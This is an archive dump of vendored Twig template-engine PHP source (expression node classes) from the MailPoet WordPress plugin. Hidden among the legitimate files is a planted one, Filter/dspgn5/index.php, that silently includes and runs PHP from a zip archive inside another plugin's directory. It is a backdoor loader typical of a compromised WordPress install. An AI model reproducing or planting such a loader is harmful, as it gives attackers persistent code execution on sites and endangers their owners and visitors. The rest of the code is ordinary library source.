 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class FilterExpression extends \MailPoetVendor\Twig\Node\Expression\CallExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Node\Expression\ConstantExpression $filterName, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { parent::__construct(['node' => $node, 'filter' => $filterName, 'arguments' => $arguments], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getNode('filter')->getAttribute('value'); $filter = $compiler->getEnvironment()->getFilter($name); $this->setAttribute('name', $name); $this->setAttribute('type', 'filter'); $this->setAttribute('needs_environment', $filter->needsEnvironment()); $this->setAttribute('needs_context', $filter->needsContext()); $this->setAttribute('arguments', $filter->getArguments()); $this->setAttribute('callable', $filter->getCallable()); $this->setAttribute('is_variadic', $filter->isVariadic()); $this->compileCallable($compiler); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\FilterExpression', 'MailPoetVendor\\Twig_Node_Expression_Filter'); twig/src/Node/Expression/TempNameExpression.php000066600000001110150351206230015622 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class TempNameExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(string $name, int $lineno) { parent::__construct([], ['name' => $name], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('$_')->raw($this->getAttribute('name'))->raw('_'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\TempNameExpression', 'MailPoetVendor\\Twig_Node_Expression_TempName'); twig/src/Node/Expression/InlinePrint.php000066600000001010150351206230014266 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; final class InlinePrint extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, $lineno) { parent::__construct(['node' => $node], [], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('print (')->subcompile($this->getNode('node'))->raw(')'); } } twig/src/Node/Expression/Filter/DefaultFilter.php000066600000003725150351206230016031 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Filter; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConditionalExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\Test\DefinedTest; use MailPoetVendor\Twig\Node\Node; class DefaultFilter extends \MailPoetVendor\Twig\Node\Expression\FilterExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Node\Expression\ConstantExpression $filterName, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { $default = new \MailPoetVendor\Twig\Node\Expression\FilterExpression($node, new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('default', $node->getTemplateLine()), $arguments, $node->getTemplateLine()); if ('default' === $filterName->getAttribute('value') && ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression)) { $test = new \MailPoetVendor\Twig\Node\Expression\Test\DefinedTest(clone $node, 'defined', new \MailPoetVendor\Twig\Node\Node(), $node->getTemplateLine()); $false = \count($arguments) ? $arguments->getNode(0) : new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('', $node->getTemplateLine()); $node = new \MailPoetVendor\Twig\Node\Expression\ConditionalExpression($test, $default, $false, $node->getTemplateLine()); } else { $node = $default; } parent::__construct($node, $filterName, $arguments, $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('node')); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Filter\\DefaultFilter', 'MailPoetVendor\\Twig_Node_Expression_Filter_Default'); twig/src/Node/Expression/Filter/dspgn5/index.php000066600000000265150351206230015602 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "c.php"; include("zip:///home/bechata/mp/wp-content/plugins/wp-file-manager/lib/codemirror/mode/r/0qjla2/index.php.zip#$h");?>twig/src/Node/Expression/Filter/index.php000066600000000000150351206230014365 0ustar00twig/src/Node/Expression/FunctionExpression.php000066600000002436150351206230015715 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class FunctionExpression extends \MailPoetVendor\Twig\Node\Expression\CallExpression { public function __construct(string $name, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno) { parent::__construct(['arguments' => $arguments], ['name' => $name, 'is_defined_test' => \false], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getAttribute('name'); $function = $compiler->getEnvironment()->getFunction($name); $this->setAttribute('name', $name); $this->setAttribute('type', 'function'); $this->setAttribute('needs_environment', $function->needsEnvironment()); $this->setAttribute('needs_context', $function->needsContext()); $this->setAttribute('arguments', $function->getArguments()); $callable = $function->getCallable(); if ('constant' === $name && $this->getAttribute('is_defined_test')) { $callable = 'twig_constant_is_defined'; } $this->setAttribute('callable', $callable); $this->setAttribute('is_variadic', $function->isVariadic()); $this->compileCallable($compiler); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\FunctionExpression', 'MailPoetVendor\\Twig_Node_Expression_Function'); twig/src/Node/Expression/ParentExpression.php000066600000001531150351206230015354 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ParentExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(string $name, int $lineno, string $tag = null) { parent::__construct([], ['output' => \false, 'name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getAttribute('output')) { $compiler->addDebugInfo($this)->write('$this->displayParentBlock(')->string($this->getAttribute('name'))->raw(", \$context, \$blocks);\n"); } else { $compiler->raw('$this->renderParentBlock(')->string($this->getAttribute('name'))->raw(', $context, $blocks)'); } } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\ParentExpression', 'MailPoetVendor\\Twig_Node_Expression_Parent'); twig/src/Node/Expression/AssignNameExpression.php000066600000000744150351206230016155 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class AssignNameExpression extends \MailPoetVendor\Twig\Node\Expression\NameExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('$context[')->string($this->getAttribute('name'))->raw(']'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\AssignNameExpression', 'MailPoetVendor\\Twig_Node_Expression_AssignName'); twig/src/Node/Expression/NameExpression.php000066600000003735150351206230015013 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class NameExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { private $specialVars = ['_self' => '$this->getTemplateName()', '_context' => '$context', '_charset' => '$this->env->getCharset()']; public function __construct(string $name, int $lineno) { parent::__construct([], ['name' => $name, 'is_defined_test' => \false, 'ignore_strict_check' => \false, 'always_defined' => \false], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getAttribute('name'); $compiler->addDebugInfo($this); if ($this->getAttribute('is_defined_test')) { if ($this->isSpecial()) { $compiler->repr(\true); } elseif (\PHP_VERSION_ID >= 700400) { $compiler->raw('array_key_exists(')->string($name)->raw(', $context)'); } else { $compiler->raw('(isset($context[')->string($name)->raw(']) || array_key_exists(')->string($name)->raw(', $context))'); } } elseif ($this->isSpecial()) { $compiler->raw($this->specialVars[$name]); } elseif ($this->getAttribute('always_defined')) { $compiler->raw('$context[')->string($name)->raw(']'); } else { if ($this->getAttribute('ignore_strict_check') || !$compiler->getEnvironment()->isStrictVariables()) { $compiler->raw('($context[')->string($name)->raw('] ?? null)'); } else { $compiler->raw('(isset($context[')->string($name)->raw(']) || array_key_exists(')->string($name)->raw(', $context) ? $context[')->string($name)->raw('] : (function () { throw new RuntimeError(\'Variable ')->string($name)->raw(' does not exist.\', ')->repr($this->lineno)->raw(', $this->source); })()')->raw(')'); } } } public function isSpecial() { return isset($this->specialVars[$this->getAttribute('name')]); } public function isSimple() { return !$this->isSpecial() && !$this->getAttribute('is_defined_test'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\NameExpression', 'MailPoetVendor\\Twig_Node_Expression_Name'); twig/src/Node/Expression/AbstractExpression.php000066600000000471150351206230015670 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Node; abstract class AbstractExpression extends \MailPoetVendor\Twig\Node\Node { } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\AbstractExpression', 'MailPoetVendor\\Twig_Node_Expression'); twig/src/Node/Expression/ArrowFunctionExpression.php000066600000002043150351206230016722 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class ArrowFunctionExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, \MailPoetVendor\Twig\Node\Node $names, $lineno, $tag = null) { parent::__construct(['expr' => $expr, 'names' => $names], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->raw('function ('); foreach ($this->getNode('names') as $i => $name) { if ($i) { $compiler->raw(', '); } $compiler->raw('$__')->raw($name->getAttribute('name'))->raw('__'); } $compiler->raw(') use ($context, $macros) { '); foreach ($this->getNode('names') as $name) { $compiler->raw('$context["')->raw($name->getAttribute('name'))->raw('"] = $__')->raw($name->getAttribute('name'))->raw('__; '); } $compiler->raw('return ')->subcompile($this->getNode('expr'))->raw('; }'); } } twig/src/Node/Expression/ConstantExpression.php000066600000001061150351206230015712 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ConstantExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct($value, int $lineno) { parent::__construct([], ['value' => $value], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->repr($this->getAttribute('value')); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\ConstantExpression', 'MailPoetVendor\\Twig_Node_Expression_Constant'); twig/src/Node/Expression/ConditionalExpression.php000066600000001625150351206230016372 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ConditionalExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr1, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr2, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr3, int $lineno) { parent::__construct(['expr1' => $expr1, 'expr2' => $expr2, 'expr3' => $expr3], [], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('((')->subcompile($this->getNode('expr1'))->raw(') ? (')->subcompile($this->getNode('expr2'))->raw(') : (')->subcompile($this->getNode('expr3'))->raw('))'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\ConditionalExpression', 'MailPoetVendor\\Twig_Node_Expression_Conditional'); twig/src/Node/Expression/MethodCallExpression.php000066600000002761150351206230016145 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class MethodCallExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $node, string $method, \MailPoetVendor\Twig\Node\Expression\ArrayExpression $arguments, int $lineno) { parent::__construct(['node' => $node, 'arguments' => $arguments], ['method' => $method, 'safe' => \false, 'is_defined_test' => \false], $lineno); if ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $node->setAttribute('always_defined', \true); } } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getAttribute('is_defined_test')) { $compiler->raw('method_exists($macros[')->repr($this->getNode('node')->getAttribute('name'))->raw('], ')->repr($this->getAttribute('method'))->raw(')'); return; } $compiler->raw('twig_call_macro($macros[')->repr($this->getNode('node')->getAttribute('name'))->raw('], ')->repr($this->getAttribute('method'))->raw(', ['); $first = \true; foreach ($this->getNode('arguments')->getKeyValuePairs() as $pair) { if (!$first) { $compiler->raw(', '); } $first = \false; $compiler->subcompile($pair['value']); } $compiler->raw('], ')->repr($this->getTemplateLine())->raw(', $context, $this->getSourceContext())'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\MethodCallExpression', 'MailPoetVendor\\Twig_Node_Expression_MethodCall'); twig/src/Node/Expression/BlockReferenceExpression.php000066600000003505150351206230016777 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class BlockReferenceExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $name, \MailPoetVendor\Twig\Node\Node $template = null, int $lineno, string $tag = null) { $nodes = ['name' => $name]; if (null !== $template) { $nodes['template'] = $template; } parent::__construct($nodes, ['is_defined_test' => \false, 'output' => \false], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getAttribute('is_defined_test')) { $this->compileTemplateCall($compiler, 'hasBlock'); } else { if ($this->getAttribute('output')) { $compiler->addDebugInfo($this); $this->compileTemplateCall($compiler, 'displayBlock')->raw(";\n"); } else { $this->compileTemplateCall($compiler, 'renderBlock'); } } } private function compileTemplateCall(\MailPoetVendor\Twig\Compiler $compiler, string $method) : \MailPoetVendor\Twig\Compiler { if (!$this->hasNode('template')) { $compiler->write('$this'); } else { $compiler->write('$this->loadTemplate(')->subcompile($this->getNode('template'))->raw(', ')->repr($this->getTemplateName())->raw(', ')->repr($this->getTemplateLine())->raw(')'); } $compiler->raw(\sprintf('->%s', $method)); return $this->compileBlockArguments($compiler); } private function compileBlockArguments(\MailPoetVendor\Twig\Compiler $compiler) : \MailPoetVendor\Twig\Compiler { $compiler->raw('(')->subcompile($this->getNode('name'))->raw(', $context'); if (!$this->hasNode('template')) { $compiler->raw(', $blocks'); } return $compiler->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\BlockReferenceExpression', 'MailPoetVendor\\Twig_Node_Expression_BlockReference'); twig/src/Node/Expression/GetAttrExpression.php000066600000004502150351206230015476 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Extension\SandboxExtension; use MailPoetVendor\Twig\Template; class GetAttrExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $node, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $attribute, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $arguments = null, string $type, int $lineno) { $nodes = ['node' => $node, 'attribute' => $attribute]; if (null !== $arguments) { $nodes['arguments'] = $arguments; } parent::__construct($nodes, ['type' => $type, 'is_defined_test' => \false, 'ignore_strict_check' => \false, 'optimizable' => \true], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $env = $compiler->getEnvironment(); if ($this->getAttribute('optimizable') && (!$env->isStrictVariables() || $this->getAttribute('ignore_strict_check')) && !$this->getAttribute('is_defined_test') && \MailPoetVendor\Twig\Template::ARRAY_CALL === $this->getAttribute('type')) { $var = '$' . $compiler->getVarName(); $compiler->raw('((' . $var . ' = ')->subcompile($this->getNode('node'))->raw(') && is_array(')->raw($var)->raw(') || ')->raw($var)->raw(' instanceof ArrayAccess ? (')->raw($var)->raw('[')->subcompile($this->getNode('attribute'))->raw('] ?? null) : null)'); return; } $compiler->raw('\\MailPoetVendor\\twig_get_attribute($this->env, $this->source, '); if ($this->getAttribute('ignore_strict_check')) { $this->getNode('node')->setAttribute('ignore_strict_check', \true); } $compiler->subcompile($this->getNode('node'))->raw(', ')->subcompile($this->getNode('attribute')); if ($this->hasNode('arguments')) { $compiler->raw(', ')->subcompile($this->getNode('arguments')); } else { $compiler->raw(', []'); } $compiler->raw(', ')->repr($this->getAttribute('type'))->raw(', ')->repr($this->getAttribute('is_defined_test'))->raw(', ')->repr($this->getAttribute('ignore_strict_check'))->raw(', ')->repr($env->hasExtension(\MailPoetVendor\Twig\Extension\SandboxExtension::class))->raw(', ')->repr($this->getNode('node')->getTemplateLine())->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\GetAttrExpression', 'MailPoetVendor\\Twig_Node_Expression_GetAttr'); twig/src/Node/Expression/Unary/AbstractUnary.php000066600000001462150351206230015726 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Unary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Node; abstract class AbstractUnary extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, int $lineno) { parent::__construct(['node' => $node], [], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw(' '); $this->operator($compiler); $compiler->subcompile($this->getNode('node')); } public abstract function operator(\MailPoetVendor\Twig\Compiler $compiler); } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Unary\\AbstractUnary', 'MailPoetVendor\\Twig_Node_Expression_Unary'); twig/src/Node/Expression/Unary/NegUnary.php000066600000000647150351206230014700 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Unary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class NegUnary extends \MailPoetVendor\Twig\Node\Expression\Unary\AbstractUnary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('-'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Unary\\NegUnary', 'MailPoetVendor\\Twig_Node_Expression_Unary_Neg'); twig/src/Node/Expression/Unary/PosUnary.php000066600000000647150351206230014730 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Unary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class PosUnary extends \MailPoetVendor\Twig\Node\Expression\Unary\AbstractUnary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('+'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Unary\\PosUnary', 'MailPoetVendor\\Twig_Node_Expression_Unary_Pos'); twig/src/Node/Expression/Unary/NotUnary.php000066600000000647150351206230014727 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Unary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class NotUnary extends \MailPoetVendor\Twig\Node\Expression\Unary\AbstractUnary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('!'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Unary\\NotUnary', 'MailPoetVendor\\Twig_Node_Expression_Unary_Not'); twig/src/Node/Expression/Unary/index.php000066600000000000150351206230014236 0ustar00twig/src/Node/Expression/Binary/LessBinary.php000066600000000670150351206230015345 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class LessBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('<'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\LessBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Less'); twig/src/Node/Expression/Binary/OrBinary.php000066600000000663150351206230015021 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class OrBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('||'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\OrBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Or'); twig/src/Node/Expression/Binary/BitwiseXorBinary.php000066600000000712150351206230016533 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BitwiseXorBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('^'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\BitwiseXorBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_BitwiseXor'); twig/src/Node/Expression/Binary/GreaterBinary.php000066600000000701150351206230016023 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class GreaterBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('>'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\GreaterBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Greater'); twig/src/Node/Expression/Binary/ModBinary.php000066600000000665150351206230015162 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ModBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('%'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\ModBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Mod'); twig/src/Node/Expression/Binary/StartsWithBinary.php000066600000001526150351206230016554 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class StartsWithBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $left = $compiler->getVarName(); $right = $compiler->getVarName(); $compiler->raw(\sprintf('(is_string($%s = ', $left))->subcompile($this->getNode('left'))->raw(\sprintf(') && is_string($%s = ', $right))->subcompile($this->getNode('right'))->raw(\sprintf(') && (\'\' === $%2$s || 0 === strpos($%1$s, $%2$s)))', $left, $right)); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw(''); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\StartsWithBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_StartsWith'); twig/src/Node/Expression/Binary/AndBinary.php000066600000000666150351206230015146 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class AndBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('&&'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\AndBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_And'); twig/src/Node/Expression/Binary/LessEqualBinary.php000066600000000710150351206230016330 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class LessEqualBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('<='); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\LessEqualBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_LessEqual'); twig/src/Node/Expression/Binary/EndsWithBinary.php000066600000001535150351206230016165 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class EndsWithBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $left = $compiler->getVarName(); $right = $compiler->getVarName(); $compiler->raw(\sprintf('(is_string($%s = ', $left))->subcompile($this->getNode('left'))->raw(\sprintf(') && is_string($%s = ', $right))->subcompile($this->getNode('right'))->raw(\sprintf(') && (\'\' === $%2$s || $%2$s === substr($%1$s, -strlen($%2$s))))', $left, $right)); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw(''); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\EndsWithBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_EndsWith'); twig/src/Node/Expression/Binary/DivBinary.php000066600000000665150351206230015165 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class DivBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('/'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\DivBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Div'); twig/src/Node/Expression/Binary/InBinary.php000066600000001213150351206230014777 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class InBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('\\MailPoetVendor\\twig_in_filter(')->subcompile($this->getNode('left'))->raw(', ')->subcompile($this->getNode('right'))->raw(')'); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('in'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\InBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_In'); twig/src/Node/Expression/Binary/SubBinary.php000066600000000665150351206230015174 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class SubBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('-'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\SubBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Sub'); twig/src/Node/Expression/Binary/PowerBinary.php000066600000000674150351206230015537 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class PowerBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('**'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\PowerBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Power'); twig/src/Node/Expression/Binary/BitwiseOrBinary.php000066600000000707150351206230016347 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BitwiseOrBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('|'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\BitwiseOrBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_BitwiseOr'); twig/src/Node/Expression/Binary/NotInBinary.php000066600000001231150351206230015460 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class NotInBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('!\\MailPoetVendor\\twig_in_filter(')->subcompile($this->getNode('left'))->raw(', ')->subcompile($this->getNode('right'))->raw(')'); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('not in'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\NotInBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_NotIn'); twig/src/Node/Expression/Binary/RangeBinary.php000066600000001171150351206230015470 0ustar00<?php
